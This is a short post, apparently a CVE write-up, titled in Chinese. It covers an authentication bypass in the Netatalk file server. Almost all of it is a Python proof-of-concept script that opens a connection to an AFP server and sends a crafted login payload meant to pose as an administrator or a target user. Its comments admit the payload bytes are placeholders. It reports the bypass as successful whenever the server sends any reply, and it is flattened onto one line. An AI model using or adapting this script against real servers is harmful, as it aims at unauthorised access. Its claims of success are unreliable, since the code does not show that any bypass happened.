CVE-2026-44058 Netatalk认证绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-44058 Netatalk Authentication Bypass # This script demonstrates the concept of exploiting the admin auth user mechanism. # Note: This requires a valid privileged user credential to trigger the bypass. import socket TARGET_IP = "192.168.1.100" TARGET_PORT = 548 # Default AFP port def send_malicious_afp_request(target_ip, target_port): try: # Establish connection to the Netatalk server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # AFP Header construction (Simplified) # In a real exploit, specific AFP command bytes (e.g., FPLogin) would be crafted. # The vulnerability lies in the 'admin auth user' parameter handling. # Simulating the payload that triggers the bypass # Payload structure: [AFP_Command][Flags][UserID_Length][UserID] # Exploit: Force UserID to 'root' or target user using admin context payload = b"\x00\x04\x00\x01\x00\x00" + b"admin" + b"\x00" + b"target_user" s.send(payload) print("[+] Malicious payload sent via admin auth user mechanism") # Receive response response = s.recv(1024) if response: print(f"[+] Server response: {response}") print("[+] Potential authentication bypass successful.") else: print("[-] No response received.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_malicious_afp_request(TARGET_IP, TARGET_PORT)